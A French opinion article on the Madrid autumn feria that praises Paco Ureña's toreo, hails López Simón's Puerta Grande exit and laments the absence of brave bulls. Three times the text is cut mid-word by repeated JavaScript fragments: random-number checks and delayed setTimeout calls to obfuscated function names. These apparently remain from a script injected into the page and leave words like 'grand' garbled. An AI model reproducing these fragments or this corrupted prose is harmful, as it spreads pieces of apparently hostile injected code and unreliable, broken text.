FERIA D’AUTOMNE DE MADRID : PACO UREÑA FIT LE MEILLEUR TOREO

Du grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and toreo que celui réalisé par Paco Ureña à Madrid. Basé sur le courage et la ténacité, et exhibé avec douceur et déchirement ou chanté, sa musique fit vibrer au maximum la sensibilité des arènes de Las Ventas. Si comme l’avait dit Belmonte toréer est un exercice de l’esprit, Madrid a de nouveau découvert ce miracle esthétique dans la muleta prodigieuse du torero de Murcie. Poignant et harmonieux, le courage et la pureté ; de la profondeur, des redondos lents comme des larmes, des naturelles avec la ceinture brisée, un toreo irremplaçable. Je n’en dis pas plus. Uniquement que Paco Ureña, qui a raté son estocade qui est sortie sur le côté, fit le meilleur toreo de la feria et de bien nombreuses ferias.

Mais le triomphateur de ce cycle fut López Simón, protagoniste d’un après-midi héroïque et torero. Et en plus comme il sut faire usage de l’épée, il sortit par la Puerta Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande. Le torero de Barajas est devenu incontournable dans toutes les ferias la prochaine saison.

En réalité, tous les toreros ont eu de bonnes prestations et ont été toujours au-dessus des toros. Aussi bien les novilleros que les matadors. Point de reproches, donc. Par conséquent, se pose une question : pourquoi n’ont-ils pas tous triomphés si on les a vus adroits et disposés ? Pour une raison évidente : il n’y eut pas un seul toro brave de toute la feria. Il y en eut des décastés et sans fond, comme les novillos de El Torreón ; des mansos sur la défensive, comme ceux du Puerto de San Lorenzo ; des toros impossibles à cause de leur morphologie –des bus à deux étages n’ont jamais chargé-, comme ceux de El Vellosino ; et mansos avec du genio, comme ceux d’Adolfo Martín. Face à ce comportement des toros, qui finalement ne déplut point aux aficionados, remarquons ce qui suit. Si la bravoure –autrement dit le courage du toro- c’est se livrer dans la charge, aucun d’entre eux ne le fit. Bien au contraire, ils furent sur la défensive. Mais oui, avec violence et de mauvaises intentions, dangereux dans leur traîtrise, et voilà pourquoi le public fut ému… même si je crois que le danger vint des toros et l’émotion des toreros. L’un deux – et je me réfère à nouveau à Paco Ureña- le fit avec autant de fermeté qu’il transmit son temple à des charges improbables qu’il rendit possibles. Non, le toro ne fut pas brave mais torée de manière exquise et avec détermination. Ne confondons pas le courage du toreo et ceux de la bravoure !

Avec l’envie de retrouver la bravoure et rassasiés par l’émotion du toreo, l’aficion de Madrid affronte la nouvelle saison avec l’incertitude que provoque la menace anti-taurine, et avec la conviction que le toreo, le grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and toreo, est toujours vivant.

 

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